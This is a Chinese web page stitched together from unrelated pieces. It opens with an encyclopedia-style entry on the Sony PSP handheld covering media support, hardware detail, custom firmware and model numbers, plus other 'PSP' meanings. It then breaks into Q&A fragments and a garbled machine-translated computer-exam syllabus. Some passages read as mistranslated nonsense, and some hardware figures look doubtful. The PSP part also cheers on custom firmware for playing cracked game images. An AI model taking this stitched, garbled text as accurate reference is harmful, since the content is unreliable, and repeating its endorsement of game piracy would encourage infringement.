您可观赏UMD或保存于 Memory Stick Duo。内的影像。(保存于 Memory Stick Duo. 内的影像)播放格式可为 MPEG-4,AVC,AVI,PMP。
播放方法:MP4的文件直接放到video文件夹中.AVI,AVC需要另改名字.PMP则需要安装播放工具
■ 音乐
您可聆听UMD与保存于 Memory Stick Duo 的音乐。(保存于 Memory Stick Duo. 的音乐)档案格式必须为ATRAC3plus. MP3和WMA ATRAC3plus (Adaptive Transform Acoustic Coding 3 Plus)新产品同时使用ATRAC3Plus先进的压缩技术,让声音能够在维持高音质的前提下进行高效能的压缩;分别可依不同的档案大小以及压缩效果,选择压缩成256、132、105、66、64或48kbps的压缩比率,而选择256kbps的压缩比率,将可压缩出近似CD音质的音乐。
■ 图片
您可通过PSP浏览、翻阅保存于 Memory Stick Duo. 内的图片。(保存于 Memory Stick Duo. 内的图片)图片格式可为JPEG或BMP。
■ 上网
您可通过PSP上自带的Internet浏览器链接无线路由器来浏览网页,支持WIFI,不支持蓝牙功能。(版本需2.0及其以上)。但需要有无线热点.目前国内无线热点未普及(除了北京).大家只能在星巴克和一些咖啡厅可以享受这一功能了(据说麦当劳即将引进)
■ 破解
早期PSP的破解游戏通过Booster的Device Hook等引导程序实现。可以通过记忆棒上的ISO镜像玩游戏。
由于自制程序只能更好地运行在1.50系统,所以产生了系统版本降级,以实现破解游戏的游玩。
通常,为了更好地运行破解游戏等,需要为机器刷写加控式自制系统(OE/M33)。
现在的破解系统已经可以完美运行所有正版系统有的功能.(谢谢黑客!!)
OE,M33的区别在于:OE比较稳定,但是支持游戏比较少.现在也比较少人用.M33没有OE稳定,但是支持游戏比OE多很多.而且现在不稳定的问题也已经基本解决.因此,M33比OE人气高很多.
硬件彻底分析
[编辑本段]
■ PSP硬件彻底分析
高性能的CPU与内嵌在CPU核心内的DRAM
为了使PSP的3D机能接近PS2的水平,SONY为PSP配备了两颗R4000 CPU内核.R4000是MIPS技术公司开发的RISC(精简指令集)处理器. 两颗R4000 之一的PSP CPU Core处理器频率为333MHZ, 其具有128BIT的系统总线(注:也就是与内存或外部电路的连接总线),通过它与Media Engine、Main Memory、Graphics Core1 、2、VME (Virtual Mobile Engine)以及DMAC[DMA是Direct Memory Access的缩写。其意思是“存储器直接访问”.它是指一种高速的数据传输操作,允许在外部设备和存储器之间直接读写数据,即不通过CPU,也不需要CPU干预。整个数据传输操作在DMAC--存储器直接访问控制器的控制下进行的。CPU除了在数据传输开始和结束时作一点处理外,在传输过程中CPU可以进行其它的工作。这样,在大部分时间里,CPU和输入输出都处在并行操作。
因此,使整个计算机系统的效率大大提高.它在PSP中的作用是通过它让CPU与Optical Disc System、I/O设备相连来读取和处理Optical Disc System、I/O设备(如手柄、显示屏、U**等接口都是I/O设备)的信息]连接 . PSP CPU Core1集成了I-Cache(指令缓存具体容量未知)、D-Cache(数据缓存 具体容量未知)与FPU、VFPU(Vector Unit).其中PSP CPU Core的3D计算能力主要来源FPU与VFPU这两个矢量单元,其浮点运算能力已经达到的2.6GFlops(是在有3D-CG Extended Instructions-3D扩展指令集参加工作时的数值),这已经是达到P3 733的浮点运算量了(这是加了SEE指令集工作的情况数值是2.93GFLOPS(SSE))很多人说PS2的GS支持的特效那么少,为什么游戏中有那么多不支持的特效其实就是因为EE的FPU与VUO+VU1的功劳,使EE的总浮点运算能力达到了6.2 GFLOPS的浮点能力.而PSP的VFPU就相当于EE的VUO+VU1,所以别看Graphics Core不支持很多特效,但是可以依仗FPU与VFPU来实现不支持的特效,很多人说为什么不在Graphics Core中支持呢,因为现在的技术还没有让GPU可以模拟特效的能力,即使是nVIDIA的GeForce系列还是ATI的RADEON系列都只是对其固有的特效进行编程控制.对新增加的特效,如新的DIRECTX版本加入新特效就必须换新的支持这个DIRECTX版本的显卡,而游戏机不能象PC的显卡那样每6-8个月一换代。而且 GPU的浮点运算虽然比CPU高,但却是有局限性的。所以SONY的选择还是很明智的-用高浮点运算的CPU来模拟特效.
PSP CPU Core的作用是用来进行先期的多边形生成等3D运算与模拟部分特效的,它的内核集成30MB DRAM 主内存这样可以容纳更多的多边形数据与高分辨率的纹理, 主内存带宽为2.6GB/sec. PSP CPU Core利用其128位的带宽的总线与DRAM相连,充分发挥PSP CPU Core的超高性能(注:虽然是内嵌试内存,但仍然需要总线与之相连)。内嵌式内存的好处是CPU可以直接访问存储器,减少内存的反应时间,而且提供高带宽. 另外一颗R4000被称做Media Engine-媒体引擎,顾名思义他是做媒体解压 处理声音和I/O管理等,而不是做3D运算的.所以它不能参加3D运算,很多网站说2颗CPU可以协同进行3D运算是错的。因为其没有集成FPU VFPU(也不排除是我理解错误)。它的频率同样是333MHZ、和PSP CPU Core共享128BIT的前端总线、内嵌了2MB DRAM, DRAM带宽为2.6GB/sec,它主要作为媒体解压缓冲与音频存储器。MPEG4的解压就是它来完成.
PSP Graphics Core
[编辑本段]
经验的积累成熟的PSP Graphics Core
为了让PSP的3D机能更为协调SONY为PSP配备了与CPU同样数量的GPU。Graphics Core 1主要是几何运算。
3D Curved Su***ce+3D Polygon (支持3D曲面运算和3D多边形引擎)Compressed Texture纹理压缩(这可是很重要的技术,这个技术可以在有限的显存与内存空间内,存储更多的纹理,纹理压缩还能减少主内存的使用率。因为当显存不够时,也就是纹理溢出时系统会把纹理存储在主内存中。
纹理压缩还能有效的减低带宽占用率。由于SONY没有说明具体的压缩比,估计是S3TC的纹理压缩技术。在这里介绍一下S3TC的纹理压缩比在8BIT色下是2:1 16BIT色下是4:1 24BIT色下是6:1) Hardware Clipping硬件剪裁(简单的说,裁剪就是把物体落在屏幕外面的部分去掉,这样就不需要处理看不到的东西,从而节省了处理量) Morphing、Bone分别是变形与骨骼动画.它们是很相似的技术,都是让角色的动作更流畅, Morphing使开发人员能够创造海浪和水波等真实的表面或使三角形组从一种形状变成另一种形状,从而带来更平滑的骨胳动作效果[右1是变形的示例图]; Bone(8) 使编程人员可以在每个关节处使用8根“骨胳”来创造真实的角色动作,而且关节运动时不会发生变形使角色的移动更为真实自然.Hardware Tessellator它是一种硬件多边形细分功能, Tessellator使用高顺序表面几何使游戏的原始简单模型变得更圆滑更细致。它被加入到引擎后我们就可以在程序中使用LOD技术(或称为HIGH ORDER SUFACE),根据对象与观察者的距离,使用线框密度不同的3D模型.由于LOD的引入,场景中的多边形数量就会比先前大幅度的降低,而画面的画质却不会有明显的下降,并且硬件剪裁的工作也可以由于多边形的减少而效能提高。它是在DX8.0、OPENGL 1.4时加入到DX与OPENGL中的,家用游戏机中只有X-BOX的NV2A硬件支持这个功能。不过这个技术在PC GAME中没有广泛的应用,虽然说是硬件支持可是在PC GAME中打开此计算功能是没有效果的[代表的此类技术如ATI的TRUFORM] 。
Graphics Core 1支持Bezier B-Spline(NURBS)(贝塞尔曲线 NURB*建模功能) 、** 4×4,16×16,64×64 sub-division是细分模式(N*N越大曲线的表面越光滑)、rece program/data与rece memory footprint & bus traffic(它们是类似于ATI的HZPER技术,可以用来降低带宽占用率.其具体工作模式没有详细说明)。
PSP Graphics Core 1看起来更象一个几何运算器.个人感觉其功能更接近PC 显卡的Vertex Shader顶点着色器[注:什么是Vertex Shader(顶点着色器)?——Vertex(顶点)是计算机图形学中的最基本元素,三个顶点可以连接成一个三角形形成一个面,在三维空间中,每个顶点都拥有自己的坐标(xyzw)和颜色值等数据,Vertex Shader(顶点着色器)在软件层上来说就是一系列对顶点数据进行操作处理的指令程序,在硬件上就是执行这些Vertex Shader程序的处理单元], 但功能可能稍弱一些.
Graphics Core 2的名称叫Rendering Engine'+'Su***ce Engine '(渲染引擎与曲面引擎)其主要的作用是渲染与硬件T&L(硬件几何变换和光照处理)这项技术可以是物体在不增加多边形的前提下使3D模型表面更圆滑 更准确 更生动和即时处理光源,使光源更真实可以产生带有反射性质的光源效果,它在PS2中是由EE的VUO+VU1完成.它还支持曲面渲染. Graphics Core1和2都是128BIT核心,工作频率都是166MHZ以256BIT数据总线宽连接其内嵌式的4M DRAM。
DRAM带宽为5.3GB/sec。Graphics core2象素填充率为每秒6亿6千4百万,每个时钟周期的纹理贴图数为4,像素管线为4,工作模式为4*1即每一个像素流水线所配的TMU单元(纹理映射单元)为1.很多人认为这样PSP在有多纹理时象素填充率下降,这就不用但心了,没想到Graphics Core2竟然支持Pixel Shader(但是版本就不知道了)[注:什么是Pixel Shader(像素着色器)?——在Vertex(顶点)被vertex shader处理完后,就会交给setup(设置)引擎转换为屏幕上的二维坐标点(称作fragment(OPENGL中的叫法)或者pixel(D3D中的叫法)-即像素),像素包含的信息类似于顶点,也是有色彩、深度坐标等资料.Pixel Shader(像素着色器)在软件层上来说就是对像素资料进行操作处理的指令程序,在硬件上就是执行Pixel Shader(顶点着色器)的像素单元.] .Pixel shader主要负责生成特效和合成Texture(贴图), 所以就不用多个TMU 单元来合成贴图.同时PSP使对光源的控制达到了象素级使PSP可以更好的表现水、金属表面反光等物理特效了。
Vertex Shader与Pixel Shader这两项在家用机中只有X-BOX的NV2A支持,在游戏中得到广泛支持如光环中的水、主角突击队员身上的盔甲的金属感.这可是PS2都没有的高级机能.示例图图如左2图.Graphics Core2最大多边形数为33Mpolygon/sec(T&L)为PS2的一半.不过别看性能比PS2差很多但是呢不要忘了PSP的分辨率480*272且是在4.5寸屏上,即使多边形数与纹理尺寸是原来的1/3你也是看不出来的^_^.它们才是协同工作的.输出也是Graphics Core 2的工作,其最大输出24BIT色,输出信号为RGBA这样有更好的颜色还原.[注:不排除Graphics Core2采用了类似NVIDIA Shading Rasterizer (NSR)技术,NSR使真实材料属性尽可能达到 per-pixelshading效果,也就是Pixel Shader处理Pixel Sha ding达到的效果(但只是接近而已).NSR可以对每个像素进行动态阴影处理成为可能,使复杂的画面现在有了丰富的细节;像素 bump mapping 等功能可以用来实现更精彩的视觉效果,如凹凸贴图.NSR 允许软件开发人员实时按像素计算照明特性.以往的图形解决方案使用照明贴图或顶点照明时,由于这种方法会导致为提高性能而损失质量和精确度的问题,迫使时用户必须在实时的rendering 和全功能渲染之间进行选择.开发人员不必再依靠基本的多纹理处理技术来欺骗自己的眼睛,因为实时按像素进行阴影处理的功能使3D元素在外观和行为方面都和现实生活的对应物十分相似。所以PSP在有多纹理时象素填充率不会下降。利用NSR,木材的纹路看起来更*真,照明物体不仅在强光下发出微弱的光芒,还可以照射出*真的阴影,并且使水面的涟漪和波浪更加自然。按像素进行照明的功能不仅比过去使用的所有照明方法更加精确和灵活,而且不会降低实时性能.
优点
[编辑本段]
比家用机更强的音源输出
PSP最令人惊讶的是居然是3D环绕7.1音道实在令人汗颜,想想PS2才支持5.1声道啊.其音频处理器为VME数字音频处理器。它是基于索尼在便携音乐单放机中采用的VME(虚拟移动引擎)设计,内部集成可编程DSP。使 PSP的音质有更出色的表现. VME频率为166MHZ可转换数字信号处理 每秒50亿次运算 支持数字解码器支持MP3、AAC以及ATRAC3音频格式.同时还具有3D立体声、多声道混合、电子合成器等音效。
光驱数据
UMD (Universal Media Disc) 60mm光盘 单面双层1.8GB容量(比N**的特制*VD容量都要高还要夸张,这样就不用担心玩不到象FFX那样CG多的游戏了.其存储MPEG4影象高质量影象可存2个小时,标准质量为4个小时);Optical Disc System使用660nm波长激光二极管 每秒11Mbps传输速率 AES-crypto[AES-加密方式(高级加密标准)] system 防震 Unique disc ID Regional code system Parental lock- system Repeat ordering system.
超强的外部接口与网络协议
无线LAN (802.11)[ IEEE802.11是第一代无线局域网标准之一。该标准定义了物理层和媒体访问控制(MAC)协议的规范,允许无线局域网及无线设备制造商在一定范围内建立互操作网络设备.这样就可以无线宽带网与无线对战了];IrDA红外线数据协议[IrDA是Infrared Date Associationd的缩写,它的特点是传输率为每秒115KB;传输角度为30度;点对点半双工传输;Serial port需有16550 UART;最大传输距离为1米.不用连接线就可以实现记录交换比家用机更方便];U**2.0[U**的中文名称叫做通用串行总线2.0版.它支持主系统及不同外设间的传输.允许外设在开机的状态下热插拔方便使用,这样就不用把PC与PSP都关机插拔了,非常方便;更广泛的应用及宽带;最多可串接127个外设;稳定的数据传输率;支持及时声音播放及影象压缩,这样就很可能出现大家共享影片与游戏了^-^;每秒的传输率达到280Mbit.可轻松实现与PS2 PC 等外设连接]这些接口使PSP具有很强的外部扩展性,使PSP将来将具有更多的外设和功能;记忆棒记忆游戏记录;AVin/out(可以连接电视的哦);充电锂电池(这是PSP的主电池据);立体声耳机外接插口.
时尚的16:9
其他规格:4.5英寸16:9宽屏背光式TFT液晶显示480*272分辨率与24位真彩屏幕,无论是任何时刻都将带给您更大的可视范围、超高的分辨率以及真彩色,完美表现强大的硬件所描绘出的画面.使媲美家用机的画面和移动媒体电影在你的掌中再现,使您的娱乐生活更加丰富。有个自制的程序名字叫“Ereader”,“1.0”版本不是特别地好用,“2.0”版本还在试用阶段。
所以还有个“1.0”的改进版“xreader”,目前最新的版本为“RC9”,看“TXT”格式的电子书,还可以听歌(支持LRC歌词显示)、看漫画(就是一张张地播放图片,但是可以按屏宽、屏高、原尺寸缩放,很好用)、管理文件(可删除、复制、剪切、粘贴记忆棒中的文件)……
很好用!最主要很傻瓜!
program segment prefix
[编辑本段]
PSP 之 DOS中的程序段的前缀:program segment prefix (程序段的前缀)
当输入一个外部命令或通过EXEC子功能(系统功能调用INF 21h的子功能号为4BH)加载一子程序时,COMMAND确定当时内存可用空间的最低端作为程序段起点。在程序所占内存空间的前256个字节中,系统会为程序创建程序的前缀(PSP)的数据区,DOS要利用PSP来和被加载程序进行通信;PSP内有程序返回、程序文件名等信息,可以通过研究psp定位文件名信息,进而获取文件名。
从这段内存区的256字节处开始(在PSP的后面),将程序装入,程序的地址被设为SA+10H:0 (其中SA为系统为程序分配内存的起始位置的段地址即当前寄存器DS的内容);
(注意:PSP区和程序区虽然物理地址连续,却有不同的段地址。)
该PSP中包含以下三部分信息:
(1)供被加载程序使用的DOS入口,如PSP+0、+2、+5和+2CH字段;
(2)供DOS本身使用的DOS入口,如PSP+0AH、+0EH、+12H和+2CH字段;
(3)供被加载程序使用传递参数,如PSP+5CH,+6CH和80H字段。
PSP结构与CP/M中的“控制区域”是十分相近的。这是因为,DOS本身便是从CP/M演变而来的。
Personal Software Process(个体软件工程)
PSP (Personal Software Process) 是一种可用于控制、管理和改进个人工作方式的自我持续改进过程,是一个包括软件开发表格、指南和规程的结构化框架。PSP与具体的技术(程序设计语言、工具或者设计方法)相对独立,其原则能够应用到几乎任何的软件工程任务之中。PSP能够说明个体软件过程的原则; 帮助软件工程师作出准确的计划;确定软件工程师为改善产品质量要采取的步骤;建立度量个体软件过程改善的基准;确定过程的改变对软件工程师能力的影响。
使用自底向上的方法来改进过程,向每个软件工程师表明过程改进的原则,使他们能够明白如何有效地生产出高质量 的软件。
为基于个体和小型群组软件过程的优化提供了具体而有效的途径。其研究与实践填补了CMM的空白。
PSP各版本号
[编辑本段]
具体型号编号大家可以在包装箱上查找
PSP1000日版普通版内只有一个主机和一个充电器
PSP1000K日版豪华版(ValuePack)内置主机,充电器,手绳,尼龙套,32M记忆棒,耳机,线控
PSP1000KCW日版白色豪华版内置与黑色豪华版相同,主机为白色
PSP1000G1日版GIGA版内置比豪华版多1G记忆棒,少手绳,其余一样
PSP1000CWG1日版白色GIGA版内置与黑色GIGA版一样,主机为白色
PSP1001美版普通版BasePack(内置同日版普通版)
PSP1001K美版豪华版ValuePack(内置同日版豪华版)
PSP1001CW美版豪华白色版
PSP1001G1美版GIGA版GigaPack
PSP1002K澳洲豪华版ValuePack
PSP1002G1澳洲GIGA版GigaPack
PSP1003英国普通版BasePack
PSP1003K英国豪华版ValuePack
PSP1003G1英国GIGA版GigaPack
PSP1004欧洲普通版BasePack
PSP1004K欧洲豪华版Valuepack
PSP1004G1欧洲GIGA版GigaPack
PSP1005韩国普通版BasePack
PSP1005K韩国豪华版Valuepack
PSP1005G1韩国GIGA版Giga
PackPSP1006香港版普通版
PSP1006K香港版豪华版
PSP1007台湾版
PSP2000的编号同上面大同小异.即200X.后缀数字和1000一样
注:截止今天,美国和欧洲地区也推出了普通版机器(BasePack),价格为199美元和199欧元(07年7月PSP1000香港价格为1350港币),配置和日版普通版相同,只有主机,电池和充电器。具体分别普通版和豪华版的方法就是在包装箱上查看编码,如果有K,则是豪华版,没有则是普通版。另,如果中国出了PSP行货,编号正常情况下应该是PSP1009此贴供广大新入手机器的新手参考使用,主要目的是为了如果需要买正版电影UMD的时候一定要认清机器地区,其他地区的电影UMD是不能在机器上播放的。游戏没有限制,大家不要担心。
python server page
脚本语言python 的服务页面,类似JSP,是提供动态web页面的一种解决方案.众所周知,脚本语言python 近来相当流行,主要是google 的推动吧,google 已经推出google api 就是使用python 脚本的哟.
psp行情
8月底新版本PSP-2000随着上市临近,国内开始出现工包泄露版本,个别玩家放出新版本PSP图片,国内外有些网站论坛放出清晰图片以及简单测评,电玩巴士放出开包测评新闻,这时新版本PSP由于外形变化,增加内存,视频输出功能和电视接收周边等增值点,吸引很多关注目光,网上预定价格一度炒到2000以上,有淘宝卖家的工包版本新PSP主机+电池,炒到21xx人民币。
8月31日巴士首次放出新版PSP-2000真机完全拆机报告,国内外个大电玩网站论坛争相转载(maxconsole、Hacks、Vault等),与此同时国内的香港台湾地区同时开始正式发售新版本PSP-2006和PSP-2007系列主机,香港当地全面开卖,不到几小时国内已经开始订购港版PSP,由于港版PSP价格低至1280港币,所以内地个大销售商报价也一路走低在1380-1500之间,因为刚发售拿到货的很少。淘宝价格也开始变化了。
㈧ 谁能把下面的已加密的代码还原
> 可能是 zend optimizer 暂没有办法还原 关注这应该是编码的问题,页面编码与文件保存的不一致 ,nAuXEZ
㈨ 计算机三级考C++
事实上,在真理内的计算机网络技术,最好的测试。
或测试数据库,全国计算机等级考试教程 - 数据库技术“一书由教育部推荐的辅导书。下面的数据库考试大纲的基本要求
掌握的基本概念,信息系统,应用程序和操作系统模式。
2,项目组织的信息系统开发过程中,开发方法和系统操作和维护方法,与基础信息系统项目的组织和管理能力。
3,掌握基本的关系数据库的概念和原则,深入理解关系数据模型,掌握关系数据库设计,基本的关系数据库设计能力的方法和设计原则。
4,熟练掌握并熟练使用结构化查询语言SQL。
5,使用的关系型数据库管理系统,创建和维护数据库的能力。
6,掌握信息系统的实现技术,信息系统应用程序使用的编程语言和开发工具。<BR / 7,信息系统和数据库技术的综合应用。
考试内容
首先,信息系统的基本概念
1,信息系统的基本概念
?数据和信息
?信息资源
?信息系统
2,信息系统的应用
?交易系统
管理信息系统
?决策支持系统 BR />专家系统
?的信息系统的各种功能
3,管理信息系统,
信息技术的管理系统
信息系统组织行为管理
>?信息系统安全,法律和伦理问题
信息系统开发方法
1,信息系统技术的发展
数据管理技术文件,数据库,数据仓库的
?数据处理技术:OLTP,OLAP,数据挖掘
系统开发技术的软件工程方法和软件开发技术
信息系统集成技术
信息系统开发方法
系统生命周期方法
原型方法
面向对象的开发方法
,开发和管理信息系统的开发过程和环境
系统:资源包内的,资源包,资源外包
?软件过程管理能力成熟度模型CMM
计算机辅助软件工程的
系统开发的文件
4,信息系统的工作模式 />?中央主机模式
客户机/服务器模式
浏览器/服务器模式
关系型数据库的三个基本原则
关系数据模型的基本概念:表,元组(记录),属性(字段,域)值范围,关键字,索引
?表主表和外表的主键和外键
之间的关系?表类型:一对一的关系,一个一对多的关系,更关系到许多的
关系模式和子模式之间的关系
关系模型的数据完整性的域的完整性约束:实体完整性,参照完整性
关系代数关系运算符:,工资低,选择算子,投影操作,串联
2,数据库系统的 />?数据库系统的组成:数据库,数据库管理系统,数据库应用程序,数据库,硬件和软件环境三种模式结构
数据库系统的特点
数据库/关系型数据库设计/>?关系数据库:
关系数据库设计步骤:需求分析,概念设计,逻辑设计,物理设计,实施,运行和维护的标准化直观的设计,规范设计,计算机辅助设计方法联系
实体模型(ER模型)
关系模式的应用
新技术:分布式数据库,并行数据库,多媒体数据库,面向对象数据库,数据仓库和数据挖掘数据库, Web数据库
结构化查询语言SQL
1 SQL语言的功能和特色的
数据定义语言DDL:科瑞TABLE,DROP TABLE,科瑞指数,DROP INDEX
数据操纵语言DML:选择“插件,删除,更新
数据控制语言DCL
2,关于SQL变量,运算符,常用功能
3,SQL控制语句的过程:开始。结束IF ... ELSE,案例,虽然返回
,关系数据库管理系统
关系型数据库管理系统(DBMS)的基本功能
2,使用常用的DBMS(桌面数据库或网络数据库)
1)基本的桌面数据库
数据库操作:表和它们之间的关系,查询(选择查询,交叉表查询操作查询)
数据库管理:优化,备份,压缩,存储,修复,加密
2)网络数据库
?企业经理
?基本的查询分析器
数据库的操作:表和它们之间的关系
吗?
数据库的保护和管理事务,并发控制,备份/恢复,导入/导出,完整性控制,安全控制
6信息系统实现技术
信息系统的开发平台和工具,过程和触发器
开发工具,信息系统应用的
数据库访问技术ADO或ADO.NET
?数据库应用程序:数据查询和更新(插入,删除,)
?存储过程调用
?使用常见的窗口界面对象,菜单和友好的用户交互的应用程序接口
数据报告和数据图表
常用的技术,使用的开发工具来实现应用程序
7操作
1,掌握了电脑的基本操作。
2,掌握基本的操作和管理的数据库管理系统(桌面数据库或网络数据库)。
3,主信息系统和数据库设计的基本方法。
4,掌握一种编程语言开发的信息系统的应用,编程和调试方法。
5,掌握上机实践应用程序的考试内容相关的知识